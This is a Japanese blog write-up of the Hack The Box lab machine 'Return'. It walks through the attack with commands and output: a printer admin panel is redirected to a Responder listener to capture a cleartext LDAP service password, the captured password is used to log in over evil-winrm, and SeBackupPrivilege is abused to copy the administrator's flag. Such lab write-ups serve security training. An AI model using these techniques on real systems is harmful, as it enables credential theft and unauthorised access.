HTB: Return Writeup

Hack The Box: Returnのwriteup。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 07:32 EST
Nmap scan report for 10.129.95.241
Host is up (0.71s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-10 12:51:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-10T12:52:24
|_  start_date: N/A
|_clock-skew: 18m34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.80 seconds

標的IPをブラウズしてみたところ、プリンターの管理ページが現れた。

Settingsタブをクリックしたところ、プリンターの設定画面が現れた。

攻撃マシンでresponderを起動して、Server AddressとServer Portに攻撃マシンのアドレスとポートを指定してUpdateボタンを押せば、svc-printerユーザーのパスワードが取れそうな感じがプンプンしたので試してみた。

攻撃マシンにてresponderを起動。

└─$ sudo responder -I tun0      
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

Server AddressとServer Portに攻撃マシンのアドレスとポートを指定してUpdateボタンをクリック。

するとresponderにsvc-printerユーザーのパスワード1edFg43012!!が送られてきた。

[+] Listening for events...                                                                                                                                                                                        

[LDAP] Cleartext Client   : 10.129.95.241
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!

入手したユーザー名とパスワードを使用して、標的マシンにWinRMで接続できた。

└─$ evil-winrm -u svc-printer -p '1edFg43012!!' -i $RHOST
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
*Evil-WinRM* PS C:\Users\svc-printer\Documents> 

一般ユーザーのフラグC:\users\svc-printer\desktop\user.txtを発見。

*Evil-WinRM* PS C:\users\svc-printer\desktop> dir


    Directory: C:\users\svc-printer\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/10/2025   4:50 AM             34 user.txt

続いて権限昇格である。

svc-printerユーザーはSeBackupPrivilege権限とSeRestorePrivilege権限を有していた。

*Evil-WinRM* PS C:\users\svc-printer\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

ユーザーがSeBackupPrivilege権限とSeRestorePrivilege権限を有していた場合、アクセス制限のあるファイルやディレクトリにアクセスすることが可能なので、これを利用すればrootユーザーのフラグを取れそうである。

列挙の過程でrootユーザーのフラグ C:\Users\Administrator\Desktop\root.txtの存在を確認。

*Evil-WinRM* PS C:\users\svc-printer\desktop> Get-ChildItem -Path C:\Users\ -Include *.ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.zip,*.xml -File -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/10/2025   4:50 AM             34 root.txt


    Directory: C:\Users\svc-printer\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/10/2025   4:50 AM             34 user.txt

しかし、当然ファイルへのアクセス権は無い。

*Evil-WinRM* PS C:\users\svc-printer\desktop> type C:\Users\Administrator\Desktop\root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:1 char:1
+ type C:\Users\Administrator\Desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

先述したSeBackupPrivilege権限とSeRestorePrivilege権限を利用して、rootユーザーのフラグにアクセスできるか試してみた。

攻撃手順は以前こちらにまとめたので詳細は省くが、おおまかな流れは以下の通り。

  1. SeBackupPrivilegeUtils.dllSeBackupPrivilegeCmdLets.dllを標的マシンに仕込む。
  2. 上記のDLLをインポートする。
  3. Copy-FileSeBackupPrivilegeでrootユーザーのフラグC:\Users\Administrator\Desktop\root.txtを別の場所(ユーザーのホームディレクトリ等)にコピーする。
  4. コピー先のファイルを開いてフラグを入手。

Copy-FileSeBackupPrivilegeC:\users\administrator\desktop\root.txtC:\users\svc-printer\desktop\gotcha.txtにコピーした。
C:\users\svc-printer\desktop\gotcha.txtを開いてフラグを入手することが出来た。

*Evil-WinRM* PS C:\users\svc-printer\desktop> Copy-FileSeBackupPrivilege C:\users\administrator\desktop\root.txt C:\users\svc-printer\desktop\gotcha.txt -Overwrite
*Evil-WinRM* PS C:\users\svc-printer\desktop> dir


    Directory: C:\users\svc-printer\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/10/2025   5:39 AM             34 gotcha.txt
-a----        1/10/2025   5:36 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----        1/10/2025   5:36 AM          16384 SeBackupPrivilegeUtils.dll
-ar---        1/10/2025   4:50 AM             34 user.txt

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.